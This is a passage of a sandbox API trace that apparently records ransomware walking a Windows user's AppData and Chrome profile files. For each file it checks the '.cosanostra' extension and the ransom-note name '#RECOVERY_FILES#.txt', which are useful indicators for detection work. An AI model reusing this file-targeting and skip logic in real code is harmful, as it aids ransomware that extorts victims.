(lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.manifest") returned 170 [0083.951] StrStrIW (lpFirst="clickonce_bootstrap_unsigned.cdf-ms", lpSrch=".cosanostra") returned 0x0 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.cdf-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.cdf-ms", lpString2="_uninstalling_.png") returned 1 [0083.951] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.cdf-ms") returned 173 [0083.951] StrStrIW (lpFirst="clickonce_bootstrap_unsigned.manifest", lpSrch=".cosanostra") returned 0x0 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.manifest", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.951] lstrcmpW (lpString1="clickonce_bootstrap_unsigned.manifest", lpString2="_uninstalling_.png") returned 1 [0083.951] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 175 [0083.951] StrStrIW (lpFirst="GoogleUpdateSetup.exe", lpSrch=".cosanostra") returned 0x0 [0083.951] lstrcmpW (lpString1="GoogleUpdateSetup.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.951] lstrcmpW (lpString1="GoogleUpdateSetup.exe", lpString2="_uninstalling_.png") returned 1 [0083.951] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\GoogleUpdateSetup.exe") returned 159 [0083.967] StrStrIW (lpFirst="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpSrch=".cosanostra") returned 0x0 [0083.967] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.967] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms", lpString2="_uninstalling_.png") returned 1 [0083.967] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms") returned 159 [0083.968] StrStrIW (lpFirst="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpSrch=".cosanostra") returned 0x0 [0083.968] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.968] lstrcmpW (lpString1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest", lpString2="_uninstalling_.png") returned 1 [0083.968] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.manifest") returned 161 [0083.968] StrStrIW (lpFirst="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpSrch=".cosanostra") returned 0x0 [0083.968] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.968] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms", lpString2="_uninstalling_.png") returned 1 [0083.968] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.cdf-ms") returned 159 [0083.968] StrStrIW (lpFirst="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", lpSrch=".cosanostra") returned 0x0 [0083.968] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.968] lstrcmpW (lpString1="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest", lpString2="_uninstalling_.png") returned 1 [0083.968] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 161 [0083.971] StrStrIW (lpFirst="GDIPFONTCACHEV1.DAT", lpSrch=".cosanostra") returned 0x0 [0083.971] lstrcmpW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.971] lstrcmpW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="_uninstalling_.png") returned 1 [0083.971] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 67 [0083.994] StrStrIW (lpFirst="metadata", lpSrch=".cosanostra") returned 0x0 [0083.994] lstrcmpW (lpString1="metadata", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.994] lstrcmpW (lpString1="metadata", lpString2="_uninstalling_.png") returned 1 [0083.994] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\metadata") returned 89 [0083.997] StrStrIW (lpFirst="settings.dat", lpSrch=".cosanostra") returned 0x0 [0083.997] lstrcmpW (lpString1="settings.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0083.997] lstrcmpW (lpString1="settings.dat", lpString2="_uninstalling_.png") returned 1 [0083.997] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\settings.dat") returned 93 [0084.007] StrStrIW (lpFirst="data_0", lpSrch=".cosanostra") returned 0x0 [0084.008] lstrcmpW (lpString1="data_0", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.008] lstrcmpW (lpString1="data_0", lpString2="_uninstalling_.png") returned 1 [0084.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 92 [0084.008] StrStrIW (lpFirst="data_1", lpSrch=".cosanostra") returned 0x0 [0084.008] lstrcmpW (lpString1="data_1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.008] lstrcmpW (lpString1="data_1", lpString2="_uninstalling_.png") returned 1 [0084.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 92 [0084.008] StrStrIW (lpFirst="data_2", lpSrch=".cosanostra") returned 0x0 [0084.008] lstrcmpW (lpString1="data_2", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.008] lstrcmpW (lpString1="data_2", lpString2="_uninstalling_.png") returned 1 [0084.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 92 [0084.008] StrStrIW (lpFirst="data_3", lpSrch=".cosanostra") returned 0x0 [0084.008] lstrcmpW (lpString1="data_3", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.008] lstrcmpW (lpString1="data_3", lpString2="_uninstalling_.png") returned 1 [0084.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 92 [0084.008] StrStrIW (lpFirst="index", lpSrch=".cosanostra") returned 0x0 [0084.008] lstrcmpW (lpString1="index", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.008] lstrcmpW (lpString1="index", lpString2="_uninstalling_.png") returned 1 [0084.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 91 [0084.008] StrStrIW (lpFirst="Cookies", lpSrch=".cosanostra") returned 0x0 [0084.008] lstrcmpW (lpString1="Cookies", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.008] lstrcmpW (lpString1="Cookies", lpString2="_uninstalling_.png") returned 1 [0084.008] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 87 [0084.009] StrStrIW (lpFirst="Cookies-journal", lpSrch=".cosanostra") returned 0x0 [0084.009] lstrcmpW (lpString1="Cookies-journal", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.009] lstrcmpW (lpString1="Cookies-journal", lpString2="_uninstalling_.png") returned 1 [0084.009] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 95 [0084.009] StrStrIW (lpFirst="Current Session", lpSrch=".cosanostra") returned 0x0 [0084.009] lstrcmpW (lpString1="Current Session", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.009] lstrcmpW (lpString1="Current Session", lpString2="_uninstalling_.png") returned 1 [0084.009] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 95 [0084.009] StrStrIW (lpFirst="Current Tabs", lpSrch=".cosanostra") returned 0x0 [0084.009] lstrcmpW (lpString1="Current Tabs", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.009] lstrcmpW (lpString1="Current Tabs", lpString2="_uninstalling_.png") returned 1 [0084.009] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 92 [0084.114] StrStrIW (lpFirst="000003.log", lpSrch=".cosanostra") returned 0x0 [0084.114] lstrcmpW (lpString1="000003.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.114] lstrcmpW (lpString1="000003.log", lpString2="_uninstalling_.png") returned 1 [0084.114] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 119 [0084.114] StrStrIW (lpFirst="CURRENT", lpSrch=".cosanostra") returned 0x0 [0084.114] lstrcmpW (lpString1="CURRENT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.114] lstrcmpW (lpString1="CURRENT", lpString2="_uninstalling_.png") returned 1 [0084.114] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 116 [0084.114] StrStrIW (lpFirst="LOCK", lpSrch=".cosanostra") returned 0x0 [0084.114] lstrcmpW (lpString1="LOCK", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.114] lstrcmpW (lpString1="LOCK", lpString2="_uninstalling_.png") returned 1 [0084.114] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 113 [0084.114] StrStrIW (lpFirst="LOG", lpSrch=".cosanostra") returned 0x0 [0084.114] lstrcmpW (lpString1="LOG", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.114] lstrcmpW (lpString1="LOG", lpString2="_uninstalling_.png") returned 1 [0084.114] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 112 [0084.114] StrStrIW (lpFirst="MANIFEST-000001", lpSrch=".cosanostra") returned 0x0 [0084.114] lstrcmpW (lpString1="MANIFEST-000001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.115] lstrcmpW (lpString1="MANIFEST-000001", lpString2="_uninstalling_.png") returned 1 [0084.115] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 124 [0084.161] StrStrIW (lpFirst="000003.log", lpSrch=".cosanostra") returned 0x0 [0084.161] lstrcmpW (lpString1="000003.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.161] lstrcmpW (lpString1="000003.log", lpString2="_uninstalling_.png") returned 1 [0084.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 106 [0084.161] StrStrIW (lpFirst="CURRENT", lpSrch=".cosanostra") returned 0x0 [0084.161] lstrcmpW (lpString1="CURRENT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.161] lstrcmpW (lpString1="CURRENT", lpString2="_uninstalling_.png") returned 1 [0084.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT") returned 103 [0084.161] StrStrIW (lpFirst="LOCK", lpSrch=".cosanostra") returned 0x0 [0084.161] lstrcmpW (lpString1="LOCK", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.161] lstrcmpW (lpString1="LOCK", lpString2="_uninstalling_.png") returned 1 [0084.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOCK") returned 100 [0084.161] StrStrIW (lpFirst="LOG", lpSrch=".cosanostra") returned 0x0 [0084.161] lstrcmpW (lpString1="LOG", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.161] lstrcmpW (lpString1="LOG", lpString2="_uninstalling_.png") returned 1 [0084.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG") returned 99 [0084.161] StrStrIW (lpFirst="MANIFEST-000001", lpSrch=".cosanostra") returned 0x0 [0084.161] lstrcmpW (lpString1="MANIFEST-000001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.161] lstrcmpW (lpString1="MANIFEST-000001", lpString2="_uninstalling_.png") returned 1 [0084.161] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\MANIFEST-000001") returned 111 [0084.260] StrStrIW (lpFirst="000003.log", lpSrch=".cosanostra") returned 0x0 [0084.260] lstrcmpW (lpString1="000003.log", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.260] lstrcmpW (lpString1="000003.log", lpString2="_uninstalling_.png") returned 1 [0084.260] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\000003.log") returned 106 [0084.260] StrStrIW (lpFirst="CURRENT", lpSrch=".cosanostra") returned 0x0 [0084.260] lstrcmpW (lpString1="CURRENT", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.260] lstrcmpW (lpString1="CURRENT", lpString2="_uninstalling_.png") returned 1 [0084.260] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\CURRENT") returned 103 [0084.260] StrStrIW (lpFirst="LOCK", lpSrch=".cosanostra") returned 0x0 [0084.260] lstrcmpW (lpString1="LOCK", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.260] lstrcmpW (lpString1="LOCK", lpString2="_uninstalling_.png") returned 1 [0084.260] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOCK") returned 100 [0084.261] StrStrIW (lpFirst="LOG", lpSrch=".cosanostra") returned 0x0 [0084.261] lstrcmpW (lpString1="LOG", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.261] lstrcmpW (lpString1="LOG", lpString2="_uninstalling_.png") returned 1 [0084.261] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\LOG") returned 99 [0084.261] StrStrIW (lpFirst="MANIFEST-000001", lpSrch=".cosanostra") returned 0x0 [0084.261] lstrcmpW (lpString1="MANIFEST-000001", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.261] lstrcmpW (lpString1="MANIFEST-000001", lpString2="_uninstalling_.png") returned 1 [0084.261] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001") returned 111 [0084.458] StrStrIW (lpFirst="icon_128.png", lpSrch=".cosanostra") returned 0x0 [0084.458] lstrcmpW (lpString1="icon_128.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.458] lstrcmpW (lpString1="icon_128.png", lpString2="_uninstalling_.png") returned 1 [0084.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png") returned 142 [0084.458] StrStrIW (lpFirst="icon_16.png", lpSrch=".cosanostra") returned 0x0 [0084.458] lstrcmpW (lpString1="icon_16.png", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.458] lstrcmpW (lpString1="icon_16.png", lpString2="_uninstalling_.png") returned 1 [0084.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png") returned 141 [0084.458] StrStrIW (lpFirst="main.html", lpSrch=".cosanostra") returned 0x0 [0084.458] lstrcmpW (lpString1="main.html", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.458] lstrcmpW (lpString1="main.html", lpString2="_uninstalling_.png") returned 1 [0084.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html") returned 139 [0084.458] StrStrIW (lpFirst="main.js", lpSrch=".cosanostra") returned 0x0 [0084.458] lstrcmpW (lpString1="main.js", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.458] lstrcmpW (lpString1="main.js", lpString2="_uninstalling_.png") returned 1 [0084.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js") returned 137 [0084.458] StrStrIW (lpFirst="manifest.json", lpSrch=".cosanostra") returned 0x0 [0084.458] lstrcmpW (lpString1="manifest.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.458] lstrcmpW (lpString1="manifest.json", lpString2="_uninstalling_.png") returned 1 [0084.458] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json") returned 143 [0084.537] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.537] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.537] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.537] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json") returned 155 [0084.537] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.537] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.537] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.537] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\messages.json") returned 155 [0084.564] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.567] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.567] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.567] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ca\\messages.json") returned 155 [0084.567] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.567] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.567] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.567] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\cs\\messages.json") returned 155 [0084.573] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.573] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.573] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.573] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json") returned 155 [0084.574] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.574] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.574] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.574] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 155 [0084.581] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.581] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.581] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.581] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 155 [0084.582] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.582] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.582] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.582] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 158 [0084.586] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.586] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.586] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.586] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 158 [0084.600] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.600] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.600] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.600] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 155 [0084.600] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.600] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.600] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.600] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 159 [0084.614] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.614] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.614] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.614] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\messages.json") returned 155 [0084.614] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.614] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.614] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.614] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fi\\messages.json") returned 155 [0084.630] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.630] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.630] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.630] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fil\\messages.json") returned 156 [0084.630] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.630] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.630] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.630] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\fr\\messages.json") returned 155 [0084.634] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.634] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.634] lstrcmpW (lpString1="messages.json", lpString2="_uninstalling_.png") returned 1 [0084.634] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\he\\messages.json") returned 155 [0084.634] StrStrIW (lpFirst="messages.json", lpSrch=".cosanostra") returned 0x0 [0084.634] lstrcmpW (lpString1="messages.json", lpString2="#RECOVERY_FILES#.txt") returned 1 [0084.634] lstrcmpW (lpString1="messages.json", 